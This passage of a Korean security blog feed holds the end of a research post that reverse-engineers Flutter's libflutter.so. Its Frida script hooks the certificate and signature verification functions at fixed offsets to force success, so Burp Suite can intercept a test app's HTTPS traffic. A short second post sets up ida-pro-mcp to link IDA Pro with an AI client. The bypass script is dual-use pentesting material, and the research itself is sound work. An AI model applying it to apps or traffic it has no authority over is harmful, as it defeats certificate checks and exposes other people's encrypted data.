    } catch(e) {
        console.log(&quot;[-] Failed to hook signature verification: &quot; + e);
    }

    // 3. SSL 브리지 함수 우회
    try {
        var ssl_bridge1 = baseAddr.add(0x7FEB3B);
        Interceptor.replace(ssl_bridge1, new NativeCallback(
            function() {
                console.log(&quot;[*] SSL bridge 1 bypassed&quot;);
                return 1;
            }, 'int', []
        ));
        console.log(&quot;[+] Hooked SSL bridge 1 (0x7FEB3B)&quot;);
    } catch(e) {
        console.log(&quot;[-] Failed to hook SSL bridge 1: &quot; + e);
    }

    try {
        var ssl_bridge2 = baseAddr.add(0x7FEDFB);
        Interceptor.replace(ssl_bridge2, new NativeCallback(
            function() {
                console.log(&quot;[*] SSL bridge 2 bypassed&quot;);
                return 1;
            }, 'int', []
        ));
        console.log(&quot;[+] Hooked SSL bridge 2 (0x7FEDFB)&quot;);
    } catch(e) {
        console.log(&quot;[-] Failed to hook SSL bridge 2: &quot; + e);
    }

    console.log(&quot;[+] Comprehensive SSL bypass completed!&quot;);
}

setTimeout(comprehensive_ssl_bypass, 1000);&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.3 실행 및 검증&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5.3.1 Frida 설치 및 준비&lt;/h4&gt;
&lt;pre class=&quot;vala&quot;&gt;&lt;code&gt;# Frida 설치 (PC)
pip install frida-tools

# Android 디바이스에 frida-server 설치
# 1. GitHub에서 frida-server 다운로드 (architecture 맞춰서)
# 2. adb push frida-server /data/local/tmp/
# 3. adb shell &quot;chmod 755 /data/local/tmp/frida-server&quot;
# 4. adb shell &quot;/data/local/tmp/frida-server &amp;amp;&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5.3.2 스크립트 실행&lt;/h4&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;# 방법 1: 앱 실행과 동시에 후킹
frida -U -f com.example.sample_app -l frida_bypass_comprehensive.js --no-pause

# 방법 2: 실행 중인 앱에 attach
frida -U com.example.sample_app -l frida_bypass_comprehensive.js

# 방법 3: spawn 모드 (앱을 재시작하면서 후킹)
frida -U -f com.example.sample_app --no-pause -l frida_bypass_comprehensive.js&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.4 우회 원리 요약&lt;/h3&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;기존 플로우 (실패):
TLS Handshake &amp;rarr; Burp CA 수신 &amp;rarr; sub_7DCD69 검증 &amp;rarr; 실패 &amp;rarr; HandshakeException

Frida 우회 플로우 (성공):
TLS Handshake &amp;rarr; Burp CA 수신 &amp;rarr; sub_7DCD69 호출 &amp;rarr; Frida가 가로챔 &amp;rarr; return 1 &amp;rarr; 성공 &amp;rarr; 연결 수립&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;효과:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;✅ 코드 수정 없이 런타임에서 인증서 검증 우회&lt;/li&gt;
&lt;li&gt;✅ Certificate Pinning이 적용된 앱에서도 동작&lt;/li&gt;
&lt;li&gt;✅ 앱 재빌드 불필요&lt;/li&gt;
&lt;li&gt;✅ Burp Suite로 모든 HTTPS 트래픽 intercept 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 결론&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.1 연구 성과 요약&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 연구를 통해 다음을 달성했다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Flutter HTTPS 통신 구조 이해&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Flutter Engine(libflutter.so)의 독립적인 SSL/TLS 스택 확인&lt;/li&gt;
&lt;li&gt;네이티브 앱과의 근본적인 차이점 파악&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;테스트 앱 개발 및 검증&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTTPS 통신을 수행하는 Flutter 테스트 앱 개발&lt;/li&gt;
&lt;li&gt;실제 API를 통한 GET/POST 요청 구현&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;libflutter.so 정적 분석&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;IDA Pro를 통한 x86_64 바이너리 역공학&lt;/li&gt;
&lt;li&gt;인증서 검증 핵심 함수 식별:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;sub_7DCD69&lt;/code&gt; (0x7DCD69): 8,854 bytes - 체인 검증 메인 함수&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sub_7D417A&lt;/code&gt; (0x7D417A): 1,158 bytes - 서명 검증 함수&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sub_7FEB3B&lt;/code&gt; (0x7FEB3B): 561 bytes - SSL 브리지&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sub_7FEDFB&lt;/code&gt; (0x7FEDFB): 350 bytes - SSL 브리지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Frida 동적 후킹 스크립트 개발&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;IDA 분석 결과를 바탕으로 정확한 오프셋 기반 후킹&lt;/li&gt;
&lt;li&gt;다중 레벨 우회 전략 수립&lt;/li&gt;
&lt;li&gt;Burp Suite 연동 성공&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.2 Burp CA 거부 메커니즘 규명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 발견:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;Burp Proxy CA 거부 메커니즘:

1. Flutter Engine은 BoringSSL을 자체 번들
   └─ Android 시스템 CA 저장소와 독립적

2. TLS Handshake 시 sub_7DCD69 함수 호출
   └─ BoringSSL 내장 신뢰 저장소에서 Burp CA 조회

3. Burp CA는 자체 서명 인증서
   └─ 신뢰 저장소에 없음 &amp;rarr; 검증 실패

4. 에러 코드 17 (CERTIFICATE_VERIFY_FAILED) 반환
   └─ HandshakeException 발생 &amp;rarr; 연결 거부&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 방법:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Frida를 통한 &lt;code&gt;sub_7DCD69&lt;/code&gt; 함수 후킹&lt;/li&gt;
&lt;li&gt;검증 결과를 강제로 성공(1)으로 반환&lt;/li&gt;
&lt;li&gt;시스템 CA 저장소 우회 없이 intercept 성공&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.3 실전 적용 가이드&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;6.3.1 개발 단계&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 1: HttpOverrides 사용 (권장)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;// 개발 환경에서만 활성화
if (kDebugMode) {
  HttpOverrides.global = MyHttpOverrides();
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;코드 레벨 제어&lt;/li&gt;
&lt;li&gt;안정적인 동작&lt;/li&gt;
&lt;li&gt;디버깅 용이&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;6.3.2 분석/역공학 단계&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 2: Frida 동적 후킹 (권장)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;frida -U -f com.example.app -l frida_bypass_comprehensive.js --no-pause&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;코드 수정 불필요&lt;/li&gt;
&lt;li&gt;실시간 디버깅&lt;/li&gt;
&lt;li&gt;다양한 앱에 적용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6.5 최종 권고사항&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개발자를 위한 권장사항:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;개발 환경에서는 &lt;code&gt;HttpOverrides&lt;/code&gt; 사용&lt;/li&gt;
&lt;li&gt;프로덕션에서는 Certificate Pinning 구현&lt;/li&gt;
&lt;li&gt;민감한 데이터는 추가 암호화 계층 적용&lt;/li&gt;
&lt;li&gt;네트워크 보안 로깅 및 모니터링&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보안 분석가를 위한 권장사항:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;IDA Pro를 통한 정적 분석 선행&lt;/li&gt;
&lt;li&gt;Frida 동적 분석으로 검증&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;부록&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;A. 검증 환경&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;IDA Pro&lt;/b&gt;: 9.x&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Frida&lt;/b&gt;: 16.x&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Android&lt;/b&gt;: 11+&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Flutter&lt;/b&gt;: 3.32.8&lt;/li&gt;
&lt;li&gt;&lt;b&gt;분석 대상&lt;/b&gt;: libflutter.so (x86_64)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;크기&lt;/b&gt;: 12,402,736 bytes&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MD5&lt;/b&gt;: 83b572909d33baf7619dfb8b836a723a&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;B. 주요 함수 오프셋 요약&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;함수&lt;/th&gt;
&lt;th&gt;오프셋&lt;/th&gt;
&lt;th&gt;크기 (bytes)&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;sub_7DCD69&lt;/td&gt;
&lt;td&gt;0x7DCD69&lt;/td&gt;
&lt;td&gt;8,854&lt;/td&gt;
&lt;td&gt;인증서 체인 검증 메인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sub_7D417A&lt;/td&gt;
&lt;td&gt;0x7D417A&lt;/td&gt;
&lt;td&gt;1,158&lt;/td&gt;
&lt;td&gt;RSA/ECDSA 서명 검증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sub_7FEB3B&lt;/td&gt;
&lt;td&gt;0x7FEB3B&lt;/td&gt;
&lt;td&gt;561&lt;/td&gt;
&lt;td&gt;SSL 브리지 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sub_7FEDFB&lt;/td&gt;
&lt;td&gt;0x7FEDFB&lt;/td&gt;
&lt;td&gt;350&lt;/td&gt;
&lt;td&gt;SSL 브리지 2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;C. 참고 자료&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://flutter.dev/&quot;&gt;Flutter Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/google/boringssl&quot;&gt;BoringSSL GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://frida.re/docs/&quot;&gt;Frida Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hex-rays.com/ida-pro/&quot;&gt;IDA Pro User Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;면책 조항&lt;/b&gt;: 본 연구는 교육 및 개인 학습 목적으로 작성되었습니다. 실제 운영 환경에서는 적절한 보안 조치를 취해야 하며, 타인의 권리를 침해하지 않도록 주의해야 합니다. 본 자료를 활용한 모든 행위에 대한 책임은 사용자에게 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;</description>
      <category>Security/└ 안드로이드 취약점 진단</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/302</guid>
      <comments>https://gomguk.tistory.com/302#entry302comment</comments>
      <pubDate>Fri, 24 Oct 2025 05:30:18 +0900</pubDate>
    </item>
    <item>
      <title>[IDA-AI-MCP] ida-pro-mcp로 mcp 연동하여 바이너리 분석하기</title>
      <link>https://gomguk.tistory.com/301</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 개요&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ida-pro-mcp 설치한다. 이전에 포스팅했던 jadx보다 좀더 쉬운 설정이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/mrexodia/ida-pro-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/mrexodia/ida-pro-mcp&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1760253067149&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - mrexodia/ida-pro-mcp: AI-powered reverse engineering assistant that bridges IDA Pro with language models through MCP.&quot; data-og-description=&quot;AI-powered reverse engineering assistant that bridges IDA Pro with language models through MCP. - mrexodia/ida-pro-mcp&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/mrexodia/ida-pro-mcp&quot; data-og-url=&quot;https://github.com/mrexodia/ida-pro-mcp&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bzBXrX/hyZKN1iK4b/SivkTUksFcSSNG1L6xJsXk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/EKby5/hyZLj5tgUJ/BVBnYXlY4AGvl6baK1jayK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/mrexodia/ida-pro-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/mrexodia/ida-pro-mcp&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bzBXrX/hyZKN1iK4b/SivkTUksFcSSNG1L6xJsXk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/EKby5/hyZLj5tgUJ/BVBnYXlY4AGvl6baK1jayK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - mrexodia/ida-pro-mcp: AI-powered reverse engineering assistant that bridges IDA Pro with language models through MCP.&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;AI-powered reverse engineering assistant that bridges IDA Pro with language models through MCP. - mrexodia/ida-pro-mcp&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 사전요구사항&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;python 3.11 버전 이상&lt;/li&gt;
&lt;li&gt;IDA pro (8.3버전 이상), Free버전은 불가&lt;/li&gt;
&lt;li&gt;MCP Client&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 설치&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1760253258546&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pip uninstall ida-pro-mcp
pip install https://github.com/mrexodia/ida-pro-mcp/archive/refs/heads/main.zip&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1760253265266&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ida-pro-mcp --install&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치를 완료하면 각 mcp 클라이언트 설정 파일에 로드가 되어 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1760253364507&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;ida-pro-mcp&quot;: {
      &quot;command&quot;: &quot;C:\\Python313\\python.exe&quot;,
      &quot;args&quot;: [
        &quot;C:\\Users\\User\\AppData\\Roaming\\Python\\Python313\\site-packages\\ida_pro_mcp\\server.py&quot;
      ],
      &quot;timeout&quot;: 1800,
      &quot;disabled&quot;: false,
      &quot;autoApprove&quot;: [
        &quot;check_connection&quot;,
        &quot;get_metadata&quot;,
        &quot;get_function_by_name&quot;,
        &quot;get_function_by_address&quot;,
        &quot;get_current_address&quot;,
        &quot;get_current_function&quot;,
        &quot;convert_number&quot;,
        &quot;list_functions&quot;,
        &quot;list_globals_filter&quot;,
        &quot;list_globals&quot;,
        &quot;list_imports&quot;,
        &quot;list_strings_filter&quot;,
        &quot;list_strings&quot;,
        &quot;list_local_types&quot;,
        &quot;decompile_function&quot;,
        &quot;disassemble_function&quot;,
        &quot;get_xrefs_to&quot;,
        &quot;get_xrefs_to_field&quot;,
        &quot;get_callees&quot;,
        &quot;get_callers&quot;,
        &quot;get_entry_points&quot;,
        &quot;set_comment&quot;,
        &quot;rename_local_variable&quot;,
        &quot;rename_global_variable&quot;,
        &quot;set_global_variable_type&quot;,
        &quot;patch_address_assembles&quot;,
        &quot;get_global_variable_value_by_name&quot;,
        &quot;get_global_variable_value_at_address&quot;,
        &quot;rename_function&quot;,
        &quot;set_function_prototype&quot;,
        &quot;declare_c_type&quot;,
        &quot;set_local_variable_type&quot;,
        &quot;get_stack_frame_variables&quot;,
        &quot;get_defined_structures&quot;,
        &quot;analyze_struct_detailed&quot;,
        &quot;get_struct_at_address&quot;,
        &quot;get_struct_info_simple&quot;,
        &quot;search_structures&quot;,
        &quot;rename_stack_frame_variable&quot;,
        &quot;create_stack_frame_variable&quot;,
        &quot;set_stack_frame_variable_type&quot;,
        &quot;delete_stack_frame_variable&quot;,
        &quot;read_memory_bytes&quot;,
        &quot;data_read_byte&quot;,
        &quot;data_read_word&quot;,
        &quot;data_read_dword&quot;,
        &quot;data_read_qword&quot;,
        &quot;data_read_string&quot;
      ],
      &quot;alwaysAllow&quot;: [
        &quot;check_connection&quot;,
        &quot;get_metadata&quot;,
        &quot;get_function_by_name&quot;,
        &quot;get_function_by_address&quot;,
        &quot;get_current_address&quot;,
        &quot;get_current_function&quot;,
        &quot;convert_number&quot;,
        &quot;list_functions&quot;,
        &quot;list_globals_filter&quot;,
        &quot;list_globals&quot;,
        &quot;list_imports&quot;,
        &quot;list_strings_filter&quot;,
        &quot;list_strings&quot;,
        &quot;list_local_types&quot;,
        &quot;decompile_function&quot;,
        &quot;disassemble_function&quot;,
        &quot;get_xrefs_to&quot;,
        &quot;get_xrefs_to_field&quot;,
        &quot;get_callees&quot;,
        &quot;get_callers&quot;,
        &quot;get_entry_points&quot;,
        &quot;set_comment&quot;,
        &quot;rename_local_variable&quot;,
        &quot;rename_global_variable&quot;,
        &quot;set_global_variable_type&quot;,
        &quot;patch_address_assembles&quot;,
        &quot;get_global_variable_value_by_name&quot;,
        &quot;get_global_variable_value_at_address&quot;,
        &quot;rename_function&quot;,
        &quot;set_function_prototype&quot;,
        &quot;declare_c_type&quot;,
        &quot;set_local_variable_type&quot;,
        &quot;get_stack_frame_variables&quot;,
        &quot;get_defined_structures&quot;,
        &quot;analyze_struct_detailed&quot;,
        &quot;get_struct_at_address&quot;,
        &quot;get_struct_info_simple&quot;,
        &quot;search_structures&quot;,
        &quot;rename_stack_frame_variable&quot;,
        &quot;create_stack_frame_variable&quot;,
        &quot;set_stack_frame_variable_type&quot;,
        &quot;delete_stack_frame_variable&quot;,
        &quot;read_memory_bytes&quot;,
        &quot;data_read_byte&quot;,
        &quot;data_read_word&quot;,
        &quot;data_read_dword&quot;,
        &quot;data_read_qword&quot;,
        &quot;data_read_string&quot;
      ]
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IDA - Edit - Plugin - MCP 선택하여 MCP 서버 실행을 확인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1141&quot; data-origin-height=&quot;1771&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kMvd4/btsQ5bXMgZ8/79QoAAKxzvsGMBibQfdXO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kMvd4/btsQ5bXMgZ8/79QoAAKxzvsGMBibQfdXO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kMvd4/btsQ5bXMgZ8/79QoAAKxzvsGMBibQfdXO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkMvd4%2FbtsQ5bXMgZ8%2F79QoAAKxzvsGMBibQfdXO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;437&quot; height=&quot;678&quot; data-origin-width=&quot;1141&quot; data-origin-height=&quot;1771&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MCP Client(Cursor) 에서도 정상 실행을 확인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1216&quot; data-origin-height=&quot;528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhb8J4/btsQ4iQEFTg/hxUSZaGkdqgTBrqwyUksx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhb8J4/btsQ4iQEFTg/hxUSZaGkdqgTBrqwyUksx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhb8J4/btsQ4iQEFTg/hxUSZaGkdqgTBrqwyUksx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbhb8J4%2FbtsQ4iQEFTg%2FhxUSZaGkdqgTBrqwyUksx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1216&quot; height=&quot;528&quot; data-origin-width=&quot;1216&quot; data-origin-height=&quot;528&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프롬프트로 질의하면 AI가 분석을 수행하고 결과를 제공해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qiwjc/btsQ7NA7UQh/XuoKEtf8xwLugIFS2j4y6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qiwjc/btsQ7NA7UQh/XuoKEtf8xwLugIFS2j4y6k/img.png&quot; data-origin-width=&quot;482&quot; data-origin-height=&quot;1028&quot; data-is-animation=&quot;false&quot; style=&quot;width: 43.2121%; margin-right: 10px;&quot; data-widthpercent=&quot;43.72&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qiwjc/btsQ7NA7UQh/XuoKEtf8xwLugIFS2j4y6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqiwjc%2FbtsQ7NA7UQh%2FXuoKEtf8xwLugIFS2j4y6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;482&quot; height=&quot;1028&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o3Zbf/btsQ7RjgYBJ/CI0PkOiIL9wg0Unr7IeyF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o3Zbf/btsQ7RjgYBJ/CI0PkOiIL9wg0Unr7IeyF1/img.png&quot; data-origin-width=&quot;475&quot; data-origin-height=&quot;787&quot; data-is-animation=&quot;false&quot; style=&quot;width: 55.6251%;&quot; data-widthpercent=&quot;56.28&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o3Zbf/btsQ7RjgYBJ/CI0PkOiIL9wg0Unr7IeyF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo3Zbf%2FbtsQ7RjgYBJ%2FCI0PkOiIL9wg0Unr7IeyF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;475&quot; height=&quot;787&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
